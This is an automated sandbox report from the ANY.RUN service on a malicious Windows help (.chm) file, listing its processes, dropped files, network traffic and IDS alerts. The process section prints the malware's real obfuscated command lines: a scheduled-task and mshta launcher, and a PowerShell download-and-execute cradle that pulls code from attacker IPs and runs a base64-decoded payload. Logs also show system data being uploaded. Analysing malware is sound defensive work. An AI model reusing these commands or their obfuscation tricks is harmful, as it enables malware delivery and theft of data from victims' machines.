analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Maket dizayna debitovoy korp karty.chm

Full analysis: https://app.any.run/tasks/6dd842f8-6a8d-440f-ad1b-343c8c2b2201
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: December 27, 2018, 19:56:59
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
opendir
Indicators:
MIME: application/octet-stream
File info: MS Windows HtmlHelp Data
MD5:

37E1BE30D9B3BA5FD06777608FEBB189

SHA1:

EDAF75C6B649C48EC1CA78156BB49503B6183C38

SHA256:

FF8B4CEB6B27A339C8CE0EE949F569CFE285D55366DC8763DB69E87FA0815DAB

SSDEEP:

96:c3LF/NqIziegcDUD7INY3GOn8xmmlqYJUx3qlnMWpiD:YLDaegd8O3G8OJUx6lnMui

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • aakqtkmc.com (PID: 2928)
      • cmd.exe (PID: 3436)
      • aakqtkmc.com (PID: 3292)
      • cmd.exe (PID: 2432)
      • cmd.exe (PID: 3212)
      • cmd.exe (PID: 3852)
      • aakqtkmc.com (PID: 3748)
      • cmd.exe (PID: 300)
      • aakqtkmc.com (PID: 1036)
      • aakqtko.com (PID: 3652)
      • cmd.exe (PID: 4012)
      • cmd.exe (PID: 2500)
      • cmd.exe (PID: 2740)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2776)
      • schtasks.exe (PID: 4076)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3436)
      • hh.exe (PID: 3012)

    • Changes the autorun value in the registry

      • reg.exe (PID: 3156)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3544)
      • cmd.exe (PID: 2432)
      • cmd.exe (PID: 3852)

    • Executable content was dropped or overwritten

      • cmd.exe (PID: 2432)
      • powershell.exe (PID: 3544)
      • cmd.exe (PID: 3212)
      • aakqtko.com (PID: 3652)

    • Executes PowerShell scripts

      • aakqtkmc.com (PID: 3292)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 3436)

    • Reads internet explorer settings

      • hh.exe (PID: 3012)

    • Starts application with an unusual extension

      • cmd.exe (PID: 2432)
      • powershell.exe (PID: 3544)
      • cmd.exe (PID: 3212)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 3876)
      • aakqtko.com (PID: 3652)

    • Uses TASKLIST.EXE to query information about running processes

      • cmd.exe (PID: 3852)

    • Uses IPCONFIG.EXE to discover IP address

      • cmd.exe (PID: 4012)

    • Reads Internet Cache Settings

      • powershell.exe (PID: 3544)

    • Creates files in the program directory

      • aakqtko.com (PID: 3652)

    • Connects to server without host name

      • aakqtko.com (PID: 3652)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 2740)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 3876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.chi | Windows HELP Index (81)
.chm | Windows HELP File (18.9)

EXIF

EXE

LanguageCode: English (U.S.)
CHMVersion: 3
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
64
Monitored processes
23
Malicious processes
6
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start hh.exe no specs schtasks.exe no specs cmd.exe no specs mshta.exe schtasks.exe no specs cmd.exe aakqtkmc.com no specs aakqtkmc.com no specs powershell.exe aakqtko.com cmd.exe aakqtkmc.com no specs aakqtkmc.com no specs cmd.exe no specs tasklist.exe no specs cmd.exe no specs qwinsta.exe no specs cmd.exe no specs ipconfig.exe no specs cmd.exe no specs hostname.exe no specs cmd.exe no specs reg.exe

Process information

PID
CMD
Path
Indicators
Parent process
3012"C:\Windows\hh.exe" C:\Users\admin\AppData\Local\Temp\Maket dizayna debitovoy korp karty.chmC:\Windows\hh.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® HTML Help Executable
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2776"C:\Windows\System32\schtasks.exe" /create /tn 4 /tr " C:\Windows\System32\cmd.exe /c st%ALLUSERSPROFILE:~8,1%rt C:\Windows\System32\msht%ALLUSERSPROFILE:~8,1% H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.77.104/%ALLUSERSPROFILE:~9,1%n%ALLUSERSPROFILE:~9,1%s && schtasks.exe /delete /tn 4 /f" /sc minute /FC:\Windows\System32\schtasks.exe—hh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3436C:\Windows\System32\cmd.exe /c st%ALLUSERSPROFILE:~8,1%rt C:\Windows\System32\msht%ALLUSERSPROFILE:~8,1% H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.77.104/%ALLUSERSPROFILE:~9,1%n%ALLUSERSPROFILE:~9,1%s && schtasks.exe /delete /tn 4 /fC:\Windows\System32\cmd.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3876C:\Windows\System32\mshta Http://146.0.77.104/mnms C:\Windows\System32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
4076schtasks.exe /delete /tn 4 /fC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2432"C:\Windows\System32\cmd.exe" /c copy C:\\Windows\\System32\\cmd.exe "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtkmc.com" && echo 1 >> "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtkmc.com" & "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtkmc.com" /c &&Set slsllslw= -Encoding&& Set ski= Byte&& Set ddast=ass &&Set ssass=-exec byp&& Set ddas= -c && Set ssas=ect System.Net.WebClie&& Set par5=nt).D%ALLUSERSPROFILE:~5,1%wnl%ALLUSERSPROFILE:~5,1%&& Set slsllslwttttt=adfile & "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtkmc.com" /c C:\\Windows\\System32\\WiNDOWSPO^Wer^ShELl\\v1.0\\poW^Ers^heLl.ExE %ssass%%ddast% %ddas% $l = (New-Object System.Net.WebClient).DownloadString('http://146.0.77.104/adds'); IEX $l; $sr=Get-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\kgHBA81SP01.tmp"; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtko.com" $sv; Start-Process -FilePath "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtko.com"C:\Windows\System32\cmd.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2928"C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtkmc.com" /c C:\Users\admin\AppData\Roaming\SunInternals\aakqtkmc.com—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3292"C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtkmc.com" /c C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\poWErsheLl.ExE %ssass%%ddast% %ddas% $l = (New-Object System.Net.WebClient).DownloadString('http://146.0.77.104/adds'); IEX $l; $sr=Get-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\kgHBA81SP01.tmp"; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtko.com" $sv; Start-Process -FilePath "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtko.com"C:\Users\admin\AppData\Roaming\SunInternals\aakqtkmc.com—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3544C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\poWErsheLl.ExE -exec bypass -c $l = (New-Object System.Net.WebClient).DownloadString('http://146.0.77.104/adds'); IEX $l; $sr=Get-Content -Encoding Byte "C:\Users\admin\AppData\Roaming\\SunInternals\\kgHBA81SP01.tmp"; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content -Encoding Byte "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtko.com" $sv; Start-Process -FilePath "C:\Users\admin\AppData\Roaming\\SunInternals\\aakqtko.com"C:\Windows\System32\WiNDOWSPOWerShELl\v1.0\powershell.exe
aakqtkmc.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3652"C:\Users\admin\AppData\Roaming\SunInternals\aakqtko.com" C:\Users\admin\AppData\Roaming\SunInternals\aakqtko.com
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Print driver host update
Version:
6.1.7601.17777
Total events
947
Read events
845
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
2
Text files
6
Unknown types
2

Dropped files

PID
Process
Filename
Type
3012hh.exeC:\Users\admin\AppData\Local\Temp\IMT7946.tmp —
MD5:—
SHA256:—
3012hh.exeC:\Users\admin\AppData\Local\Temp\~DFE0CE4ABA9A1559EB.TMP —
MD5:—
SHA256:—
3012hh.exeC:\Users\admin\AppData\Local\Temp\~DFA606D0953559921F.TMP —
MD5:—
SHA256:—
3544powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GMP908B5DW6E2OVEIQW7.temp —
MD5:—
SHA256:—
3876mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\mnms[1]html
MD5:E7BB599B2D760EC70AD6519BCB4BEAFD
SHA256:1361AAD2C15AED8F2392BCC6752A022E9797DB690598CE143B81C439A2C6D2BE
3012hh.exeC:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.datchm
MD5:EE7993B4E0D222AC55F4809434BA4E0F
SHA256:FF59F749E2F1E9D9851B9E408B71DB6D7D8C8D61310C82FC280BBDFFF31F5CF4
4012cmd.exeC:\Users\admin\AppData\Roaming\Setting_info.initext
MD5:A0699B3031F83B04AFE9D33B5D7E4654
SHA256:91809BCD1AC4460B854B328303A5FC59FDEFCDE5CF9DF0BD7F884BDAC195432D
3852cmd.exeC:\Users\admin\AppData\Roaming\Setting_info.initext
MD5:8C31FA4DDDA6EC9856EAB2476E8DFC73
SHA256:17901874431A504AD51DEDA3211D1C29A7DE3065BBB3BE77CBDBC870491B8B9F
3544powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF219d39.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
3544powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
5
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3544
powershell.exe
GET
200
146.0.77.104:80
http://146.0.77.104/adds
NL
text
7.67 Kb
malicious
3652
aakqtko.com
POST
200
146.0.77.112:80
http://146.0.77.112/a/logs/logpc.php
NL
text
64 b
suspicious
3876
mshta.exe
GET
200
146.0.77.104:80
http://146.0.77.104/mnms
NL
html
2.58 Kb
malicious
3544
powershell.exe
GET
200
146.0.77.104:80
http://146.0.77.104/bvvk
NL
text
159 Kb
malicious
3652
aakqtko.com
GET
200
146.0.77.112:80
http://146.0.77.112/a/getsi.php?tx=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk=
NL
text
9 b
suspicious
3652
aakqtko.com
GET
200
146.0.77.112:80
http://146.0.77.112/a/getsi.php?tx=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk=
NL
text
9 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3544
powershell.exe
146.0.77.104:80
—
Hostkey B.v.
NL
malicious
3652
aakqtko.com
146.0.77.112:80
—
Hostkey B.v.
NL
suspicious
3876
mshta.exe
146.0.77.104:80
—
Hostkey B.v.
NL
malicious

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3876
mshta.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader MacroLoader MSOffice
3876
mshta.exe
A Network Trojan was detected
MALWARE [PTsecurity] PowerShell.Downloader httpHeader
3544
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3544
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
3544
powershell.exe
A Network Trojan was detected
ET TROJAN Windows executable base64 encoded
3544
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable base64 Payload
3876
mshta.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious PowerShell download command
3652
aakqtko.com
A Network Trojan was detected
ET INFO Suspicious Possible Process Dump in POST body
3652
aakqtko.com
A Network Trojan was detected
ET TROJAN Windows qwinsta Microsoft Windows DOS prompt command exit OUTBOUND
3652
aakqtko.com
A Network Trojan was detected
SC SPYWARE Generic spyware via http body, process list uploading
Process
Message
aakqtko.com
------qwerty Content-Disposition: form-data; name="log_info" c5405f7e ------qwerty Content-Disposition: form-data; name="file"; filename="C:\Users\admin\AppData\Roaming\Setting_info.ini"; Content-Type: application/octet-stream Content-Transfer-Encoding: binary
aakqtko.com
<input type="hidden" name="MAX_FILE_SIZE" value="130000000">
aakqtko.com
ê.?Yy’ì rI™Þ'ò¾žÎžl`'6l„ÂVåßžÛGOý5ú-ñx›ß@fòÅb@jœ"‹'þúË@…ù¨ƒî)
aakqtko.com
%ea.%3f%59%79%92%ec%a0%72%49%99%de%27%f2%be%9e%ce%9e%81%6c%60%27%19%36%6c%84%c2%56%e5%df%9e%db%47%4f%fd%35%fa-%90%f1%8f%78%9b%df%40%66%f2%c5%62%40%6a%9c%22%8b%27%fe%11%fa%cb%40%85%f9%a8%83%ee%29
aakqtko.com
/a/getsi.php?tx=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk=
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Maket dizayna debitovoy korp karty.chm